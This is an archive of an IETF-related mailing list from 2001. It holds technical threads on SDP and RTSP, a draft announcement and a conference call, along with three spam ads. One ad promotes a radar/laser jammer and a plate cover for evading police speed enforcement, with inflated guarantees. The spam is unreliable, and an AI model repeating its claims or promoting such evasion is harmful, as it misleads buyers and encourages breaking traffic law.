	(envelope-from casner@packetdesign.com)
Date: Mon, 10 Sep 2001 20:12:12 -0700 (PDT)
From: Stephen Casner <casner@packetdesign.com>
To: Tom-PT Taylor <taylor@nortelnetworks.com>
cc: <confctrl@ISI.EDU>, Tim Darnell <darnell@nortelnetworks.com>
Subject: Re: fmtp Parameters
In-Reply-To: <28560036253BD41191A10000F8BCBD110514FAEA@zcard00g.ca.nortel.com>
Message-ID: <20010910200142.P66208-100000@ash.packetdesign.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tom,

> Where can we find out what fmtp parameters have been defined?  We'd
> particularly like to know about parameters pertaining to video.

In general, fmtp parameters are defined by payload format
specifications.  However, draft-ietf-avt-rtp-mime-05.txt defines
parameters for several codecs that either don't have separate payload
format specifications (because they are included in the RTP A/V
profile document) or in a couple of cases where the parameters were
added to an existing payload format (e.g., H263-2000).

These are MIME parameters; the mapping to fmtp will follow the general
rules in Section 3 of that draft unless the payload format
specification has defined a different mapping (e.g., RED, RFC 2198).

							-- Steve


From confctrl-owner  Wed Sep 12 18:50:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA13295
	for confctrl-outgoing; Wed, 12 Sep 2001 18:50:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA13290
	for <confctrl@zephyr.isi.edu>; Wed, 12 Sep 2001 18:50:40 -0700 (PDT)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8D1onv20418
	for <confctrl@isi.edu>; Wed, 12 Sep 2001 18:50:49 -0700 (PDT)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15hLeS-00022I-00; Wed, 12 Sep 2001 18:50:48 -0700
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15hLeS-0008Mg-00; Wed, 12 Sep 2001 18:50:48 -0700
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-461083 ] Body w/o Content-Length clarification
Message-Id: <E15hLeS-0008Mg-00@usw-sf-web3.sourceforge.net>
Date: Wed, 12 Sep 2001 18:50:48 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #461083, was opened at 2001-09-12 18:50
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=461083&group_id=23194

Category: General
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Jason Lango (jasonlango)
Assigned to: Rob Lanphier (robla)
Summary: Body w/o Content-Length clarification

Initial Comment:
RFC 2326 says: 

4.4 Message Length

   When a message body is included with a message, the
length of that body is determined by one of the
following (in order of precedence):
 
   1.     Any response message which MUST NOT include a
message body
          (such as the 1xx, 204, and 304 responses) is
always terminated
          by the first empty line after the header
fields, regardless of
          the entity-header fields present in the
message. (Note: An
          empty line consists of only CRLF.)

   2.     If a Content-Length header field (section
12.14) is present,
          its value in bytes represents the length of
the message-body.
          If this header field is not present, a value
of zero is
          assumed.
 
   3.     By the server closing the connection.
(Closing the connection
          cannot be used to indicate the end of a
request body, since
          that would leave no possibility for the
server to send back a
          response.)
 
.. so it is saying that closing the connection is Ok to
indicate the length.

.. but then in section 12.14, it also says that the
Content-Length header MUST be sent.

The two sections should probably be made consistent.

Currently a popular RTSP server implementation (QTSS)
sends
"Connection: Close" followed by a message body for
certain
RTSP error status responses.

It might be worth requiring 'Connection: Close' in item
3 of
section 4.4 to reduce the ambiguity of whether or not a
compatible implementation may expect a response to
contain
a message body.

Alternatively it might be worth -not- saying that
message length
may be determined by the server closing the connection.


----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=461083&group_id=23194

From confctrl-owner  Thu Sep 13 01:10:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA10051
	for confctrl-outgoing; Thu, 13 Sep 2001 01:10:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA10041
	for <confctrl@zephyr.isi.edu>; Thu, 13 Sep 2001 01:10:21 -0700 (PDT)
Received: from klnt8.klcg.gov.tw ([210.69.46.129])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f8D8ASv09336
	for <confctrl@isi.edu>; Thu, 13 Sep 2001 01:10:29 -0700 (PDT)
Received: from 172.16.1.3 by klnt8.klcg.gov.tw (InterScan E-Mail VirusWall NT); Thu, 13 Sep 2001 10:48:50 +0800
Received: from klnt8.klcg.gov.tw (KLNT8 [172.16.1.8]) by mail.klcg.gov.tw with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id RATFZX4J; Thu, 13 Sep 2001 10:26:50 +0800
Received: from 172.16.1.254 by klnt8.klcg.gov.tw (InterScan E-Mail VirusWall NT); Thu, 13 Sep 2001 10:48:41 +0800
Message-ID: <000020d406db$0000181e$000019f3@>
To: <Undisclosed.Recipients@ISI.EDU>
From: aiqp76tr76@usa.net
Subject: Be invisible to police! 2002
Date: Wed, 12 Sep 2001 15:44:06 -0500
MIME-Version: 1.0
X-Priority: 1
X-MSMail-Priority: High
Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multipart message in MIME format


--------------InterScan_NT_MIME_Boundary
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<BODY>

<FONT size=3D2> NO MORE SPEEDING TICKETS!!!  BE INVISIBLE TODAY!  1-888-33=
9-8071<BR>
<BR>
With the new PHANTOM II Radar/Laser Scrambler and Detector<BR>
ALL IN ONE UNIT.<BR>
<BR>
I'ts Your Right to protect your vehicle on the road<BR>
and save the costly speeding tickets!!!<BR>
<BR>
We are so sure that you will never get a speeding ticket again that<BR>
The PHANTOM II ALL IN ONE UNIT also comes with a Ticket Rebate Program,<BR=
>
that if you get a speeding ticket we will pay for it up to ONE YEAR FREE!<=
BR>
<BR>
The PHANTOM II easily placed on the dash or mounted on your front windshie=
ld<BR>
with custom suction cup bracket included for 360 degrees protection!<BR>
<BR>
PHANTOM II ALL IN ONE UNIT Features Include:<BR>
<BR>
- Built In Radar/Laser Detector<BR>
- Built In Radar/Laser Scrambler<BR>
- 360 Degrees Protection<BR>
- VG-2 Unditectible (Means No One Will Know You are Using It !)<BR>
- Easy Install  ( With Included Suction Cup Bracket )<BR>
- Carry From Vehicle to Vehicle With Ease<BR>
- 1-Year FREE Ticket Rebate Program  (You Get a Ticket We Pay For It !)<BR=
>
- 3-Year Warranty On Parts and Labor<BR>
<BR>
Saving on just 2-3 speeding tickets the PHANTOM II<BR>
will pay for it's self.<BR>
<BR>
The PHANTOM II Is Now On Sale For a Limited Time Only.<BR>
$345.00 Includes FedEx 2-Day Delivery.<BR>
<BR>
If you are interested in this amazing new product<BR>
please call toll-free at 1-888-339-8071 for web site information<BR>
or to talk to one of our sales reps.<BR>
<BR>
Purchase The PHANTOM II All In One Unit and receive a FREE Transparent<BR>
License Plate Cover that will protect you from the highway speed cameras!<=
BR>
<BR>
We are your radar/laser jamming and detecting experts!<BR>
<BR>
Thanks for your interest, now it's up to you whether you get a speeding ti=
cket or not!<BR>
<BR>
<BR>
<BR>
This ad is sent in accordence with all applicable laws<BR>
<BR>
to be removed type "remove" in the subject line and <BR>
<BR>
sent to : gfdh47658@yahoo.com<BR>
<BR>
</FONT><p><p><p><p><p><p><p><p><p><p>







<p><FONT size=3D2> NO MORE SPEEDING TICKETS!!!  BE INVISIBLE TODAY!  1-888=
-339-8071<BR><p><BR><p><p></BODY></HTML>




--------------InterScan_NT_MIME_Boundary
Content-Type: text/plain;
	name="InterScan_SafeStamp.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="InterScan_SafeStamp.txt"

****** Message from InterScan E-Mail VirusWall NT ******

** No virus found in attached file noname.htm

You Mail Is Safe
*****************     End of message     ***************




--------------InterScan_NT_MIME_Boundary
Content-Type: text/plain;
	name="InterScan_SafeStamp.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="InterScan_SafeStamp.txt"

****** Message from InterScan E-Mail VirusWall NT ******

** No virus found in attached file noname.htm
** No virus found in attached file InterScan_SafeStamp.txt

You Mail Is Safe
*****************     End of message     ***************


--------------InterScan_NT_MIME_Boundary--

From confctrl-owner  Thu Sep 13 02:50:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA21110
	for confctrl-outgoing; Thu, 13 Sep 2001 02:50:43 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA21103
	for <confctrl@zephyr.isi.edu>; Thu, 13 Sep 2001 02:50:42 -0700 (PDT)
Received: from gamma.isi.edu ([202.111.165.82])
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id f8D9oow06278
	for <confctrl@isi.edu>; Thu, 13 Sep 2001 02:50:50 -0700 (PDT)
Received: by 202.111.165.82(WebEasyMail 2.0.0.3)  http://easymail.yeah.net
	Thu, 13 Sep 2001 17:45:12 -0000
Message-ID: <000052083492$000024a1$00006bc9@ntime.net>
To: <Dr.l_fitzgerald@medicint.com>
From: cc4less@ntime.net
Subject: Conference Calls For Less
Date: Thu, 13 Sep 2001 02:40:08 -0700
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-12=
52">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY vLink=3D#c0c0c0 link=3D#c0c0c0 bgColor=3D#FFCC99 leftMargin=3D0><FON=
T 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D#000066 size=3D6>Tired of Spending=
 Too Much <BR>on Conference Calls? 
</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#000000 size=3D5><B>Now Just <U>18 Cents</U> per Minute</=
B><BR><FONT size=3D4>(Includes 
Long Distance!)</FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D#000066 size=3D3><B>
      <LI>No setup fees
      <LI>Connects up to 100 participants 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBODY><=
/TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#000000 size=3D60><B><FONT size=3D5>C=
rystal clear connection 
with the lowest rate in the industry.</B></FONT></FONT></TD></TR></TBODY><=
/TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D#000066 size=3D4>If you like saving m=
oney, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D#000000 size=3D2>Required Input Field<FONT color=3D#00006=
6 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D#333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D#ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbox09@excite.com?subject=3DConference_Inquir=
y 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D"100%">
        <TBODY>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 
          size=3D2>Name<FONT color=3D#000066 size=3D2>*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>Web 
            Address</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>Company 
            Name<FONT color=3D#000066 size=3D2>*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>
            State<FONT color=3D#000066 size=3D2>*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>Business 
            Phone<FONT color=3D#000066 size=3D2>*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>Email 
            Address<FONT color=3D#000066 size=3D2>*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D"50%"><FONT 
            face=3D"Arial, Helvetica, sans-serif" color=3D#000000 size=3D2=
>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D"Submit Information" name=3Dsubmit> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
	<P align=3Dcenter><FONT color=3D#000066 face=3D"Arial, Helvetica, sans-se=
rif" size=3D5>
	This could be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-ser=
if" size=3D2>
	<BR><A href=3D"mailto:marketing202@yahoo.com?subject=3DDirect Marketing">
	<FONT color=3DCC9966>Click here to e-mail us your contact info</A>.</FONT=
></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D"Arial, Helvetica, sans-serif" color=3D=
#000000 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618, =
Title 3, Section 301.
      You have recently visited one of our web sites or an affiliate site,=
 and indicated you were 
      interested in communication services.  If this email is reaching you=
 in error and you feel that you have not contacted 
      us, <A href=3D"mailto:rem0ve701@excite.com?subject=3DRemove_Conferen=
cing"><FONT color=3D#CC9966>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be remo=
ved from our distribution list.</FONT><BR></TD></TR></TBODY></TABLE></P></=
CENTER></FONT></BODY></HTML>




From confctrl-owner  Mon Sep 17 16:14:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA12068
	for confctrl-outgoing; Mon, 17 Sep 2001 16:14:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA12063
	for <confctrl@zephyr.isi.edu>; Mon, 17 Sep 2001 16:14:31 -0700 (PDT)
Received: from guinness (mx.last.plus.net [212.159.3.230])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8HNEfv13294
	for <confctrl@isi.edu>; Mon, 17 Sep 2001 16:14:41 -0700 (PDT)
Received: from [212.159.14.227] (helo=warrior-outbound.services.quay.plus.net)
	by guinness with smtp (Exim 3.16 #2)
	id 15j7OX-0002KG-00
	for confctrl@isi.edu; Tue, 18 Sep 2001 00:01:41 +0100
Received: (qmail 29270 invoked from network); 17 Sep 2001 23:13:55 -0000
Received: from unknown (HELO NEXUS.replicants.org.uk) (212.56.122.201)
  by warrior with SMTP; 17 Sep 2001 23:13:55 -0000
Received: from mail pickup service by NEXUS.replicants.org.uk with Microsoft SMTPSVC;
	 Tue, 18 Sep 2001 00:13:49 +0100
X-From_: ietf-123-owner@loki.ietf.org Tue Jun 26 16:11:52 2001
Received: from [132.151.1.177] (helo=loki.ietf.org)	by imailg2.svr.pol.co.uk with esmtp (Exim 3.13 #0)	id 15EuVL-0003cq-00; Tue, 26 Jun 2001 16:11:51 +0100
Received: (from adm@localhost)	by loki.ietf.org (8.9.1b+Sun/8.9.1) id KAA19958	for ietf-123-outbound.10@ietf.org; Tue, 26 Jun 2001 10:05:02 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA18638	for <all-ietf@loki.ietf.org>; Tue, 26 Jun 2001 07:03:05 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27363;	Tue, 26 Jun 2001 07:03:04 -0400 (EDT)
Message-Id: <200106261103.HAA27363@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-foster-mmusic-vbdformat-00.txt
Date: Tue, 26 Jun 2001 07:03:03 -0400
X-OriginalArrivalTime: 17 Sep 2001 23:13:49.0649 (UTC) FILETIME=[68C2BC10:01C13FCE]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Voice-Band Data Media Format
	Author(s)	: B. Foster, R. Kumar, F. Andreasen
	Filename	: draft-foster-mmusic-vbdformat-00.txt
	Pages		: 4
	Date		: 25-Jun-01
	
Voice-band data (fax and modem) traffic can often require different 
processing and as such, the ability to specify a different payload 
type when passing this type of traffic is important. This document 
defines a specific 'fmtp' parameter for this purpose.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-foster-mmusic-vbdformat-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-foster-mmusic-vbdformat-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010625111125.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-foster-mmusic-vbdformat-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Co

From confctrl-owner  Mon Sep 17 21:21:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA04174
	for confctrl-outgoing; Mon, 17 Sep 2001 21:21:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA04165
	for <confctrl@zephyr.isi.edu>; Mon, 17 Sep 2001 21:21:50 -0700 (PDT)
Received: from ns.live.com (ns.live.com [66.80.62.34])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8I4M0v09225
	for <confctrl@ISI.EDU>; Mon, 17 Sep 2001 21:22:00 -0700 (PDT)
Received: (from rsf@localhost)
	by ns.live.com (8.9.3/8.9.3) id VAA23778;
	Mon, 17 Sep 2001 21:21:59 -0700 (PDT)
	(envelope-from rsf)
Message-Id: <4.3.1.1.20010917211705.00bbbe40@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 17 Sep 2001 21:21:48 -0700
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: IANA nit wrt. obsolete SDP attributes?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Looking at <http://www.iana.org/assignments/sdp-parameters>, I notice that 
IANA defines two media-level SDP attributes "rtpred1" and "rtpred2".  It 
references RFC2327 for these, but RFC2327 (the SDP spec) does not mention 
these attributes at all.  The updated version of the SDP spec 
<draft-ietf-mmusic-sdp-new-03.txt> doesn't show these attributes either.

It appears that IANA's records are out-of-date here...

         Ross.



From confctrl-owner  Tue Sep 18 04:29:54 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA28369
	for confctrl-outgoing; Tue, 18 Sep 2001 04:29:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA28364
	for <confctrl@zephyr.isi.edu>; Tue, 18 Sep 2001 04:29:52 -0700 (PDT)
Received: from utrhcs.cs.utwente.nl (utrhcs.cs.utwente.nl [130.89.10.247])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8IBU2v07784
	for <confctrl@ISI.EDU>; Tue, 18 Sep 2001 04:30:02 -0700 (PDT)
Received: from utip129 (utip129.cs.utwente.nl [130.89.12.65])
	by utrhcs.cs.utwente.nl (8.9.3/8.9.3) with ESMTP id NAA15499
	for <confctrl@ISI.EDU>; Tue, 18 Sep 2001 13:29:59 +0200 (MET DST)
Message-ID: <8283321.1000812601869.JavaMail.localadmin@utip129>
Date: Tue, 18 Sep 2001 13:30:01 +0200 (GMT+02:00)
From: Christian Tzolov <tzolov@cs.utwente.nl>
To: confctrl@ISI.EDU
Subject: [PROMS 2001] - Call for Participation
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_Part_4_2856422.1000812601869"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

------=_Part_4_2856422.1000812601869
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

[We apologize if you receive multiple copies of this mail]

--> Please feel free to distribute a copy of this call to those
who might be interested <--

                *** CALL FOR PARTICPATION ***

                         PROMS 2001

               6th International Conference on
               Protocols for Multimedia Systems

            17-19 October, Enschede, The Netherlands

           http://www.ctit.utwente.nl/news/proms_2001

 in cooperation with ACM SIGCOMM, ACM SIGMM and IEEE COMSOC

The aim of the PROMS series of workshops and conferences is to 
contribute to a scientific, strategic and practical cooperation 
between research institutes and industrial companies in the area 
of distributed multimedia applications, protocols, and intelligent 
management tools, with emphasis on their provision over broadband 
networks.

PROMS 2001 has a 3-days programme with

- one day of tutorials on

  * Multimedia middleware
    by Thomas Plagemann, University of Oslo, Norway
    and Frank Eliassen, Simula Research Lab, Norway

  * Approaching multimedia content description
    by Alan P. Parkes, Lancaster University, UK

- followed by two days of technical sessions, comprising
  invited talks on

  * From Mars to your TV at home - Selected Internet developments
    by E. Huizer, NOB and Univ. of Twente, Netherlands

  * Which way to the Wireless Internet ?
    by Andrew T. Campbell, Columbia University, USA

  and sessions on

  * QoS in the Internet
  * Multimedia streaming
  * Multimedia multicast
  * Wireless networks and host mobility
  * TCP/IP optimization
  * service development and deployment

For more information please contact the local organizing committee
at proms2001@ctit.utwente.nl.

Detailed information of the conference, including programme, 
registration and accommodation, is available at:

http://www.ctit.utwente.nl/news/proms_2001.

The workshop is being organized by the Centre for Telematics and
Information Technology (CTIT), University of Twente, The Netherlands.

Dr. Marten van Sinderen and Prof. Bart Nieuwenhuis, Programme Chairs

------=_Part_4_2856422.1000812601869--


From confctrl-owner  Tue Sep 18 09:27:50 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA19791
	for confctrl-outgoing; Tue, 18 Sep 2001 09:27:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA19780
	for <confctrl@zephyr.isi.edu>; Tue, 18 Sep 2001 09:27:48 -0700 (PDT)
Received: from chiron.nge.isi.edu (chiron.nge.isi.edu [65.114.169.204])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8IGRwv27355
	for <confctrl@ISI.EDU>; Tue, 18 Sep 2001 09:27:58 -0700 (PDT)
Received: from chiron (csp@localhost)
	by chiron.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f8IGRtc12559;
	Tue, 18 Sep 2001 12:27:56 -0400
Message-Id: <200109181627.f8IGRtc12559@chiron.nge.isi.edu>
To: Ross Finlayson <finlayson@live.com>
cc: confctrl@ISI.EDU
Subject: Re: IANA nit wrt. obsolete SDP attributes? 
In-Reply-To: Your message of "Mon, 17 Sep 2001 21:21:48 PDT."
             <4.3.1.1.20010917211705.00bbbe40@localhost> 
Date: Tue, 18 Sep 2001 12:27:55 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Ross Finlayson writes:
>Looking at <http://www.iana.org/assignments/sdp-parameters>, I notice that 
>IANA defines two media-level SDP attributes "rtpred1" and "rtpred2".  It 
>references RFC2327 for these, but RFC2327 (the SDP spec) does not mention 
>these attributes at all.  The updated version of the SDP spec 
><draft-ietf-mmusic-sdp-new-03.txt> doesn't show these attributes either.
>
>It appears that IANA's records are out-of-date here...

They were the ad-hoc attributes we used for the audio redundancy payload
format, before a=fmtp: was added. I'll contact IANA to get them removed
or marked as "historic".

Colin

From confctrl-owner  Tue Sep 18 15:19:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA13729
	for confctrl-outgoing; Tue, 18 Sep 2001 15:19:23 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA13724
	for <confctrl@zephyr.isi.edu>; Tue, 18 Sep 2001 15:19:22 -0700 (PDT)
Received: from titan.causeway.co.uk ([213.253.23.150])
	by gamma.isi.edu (8.11.6/8.11.2) with ESMTP id f8IMIew12678
	for <confctrl@isi.edu>; Tue, 18 Sep 2001 15:18:42 -0700 (PDT)
Received: from titan.grapl.com ([127.0.0.1]) by titan.causeway.co.uk with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 18 Sep 2001 21:25:04 +0100
From: "information@grapl.com" <information@grapl.com>
To: <confctrl@ISI.EDU>
Subject: Great business & scientific charts for your reports & your website
Date: Tue, 18 Sep 2001 19:40:19 +0100
Message-ID: <MLENKDNLKJADIFDIGCKDOEHLCGAA.jonathan@causeway.co.uk>
MIME-Version: 1.0
Content-Type: multipart/related;
	boundary="----=_NextPart_000_0001_01C14079.BFC90F90"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
X-UIDL: 1000838490.14780.oceanus.uk.clara.net
X-RCPT: causeway
Status: U
X-SmartPOP-To: jonathan@grapl.com
X-OriginalArrivalTime: 18 Sep 2001 20:25:04.0292 (UTC) FILETIME=[FFFD9E40:01C1407F]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C14079.BFC90F90
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0002_01C14079.BFCC1CD0"


------=_NextPart_001_0002_01C14079.BFCC1CD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

      GraPL & GraPL.NET
      Great business & scientific charts have never been so easy
      Have you ever wanted to produce a chart for a report, presentation, or
website, and found that the tools you had were hard to use, produced ugly
charts, or couldn't summarise your data in the way you wanted?

      If so you need GraPL. GraPL lets you produce charts quickly and easily
from your data. We have been developing the charting engine for the past 10
years, and it is currently used across a large range of industry, including
food, electricity generation, banking, aerospace, government statistics,
healthcare, insurance and academia worldwide.


      GraPL
      is the easiest way yet to create good-looking charts on your PC. It
combines a powerful charting engine, and data analysis suite with an easy to
use office style interface. This lets you generate clear professional charts
that stand out from the crowd.

      Import data from your spreadsheet or database, and moments later you
can have a chart ready for your report or presentation. Download your free
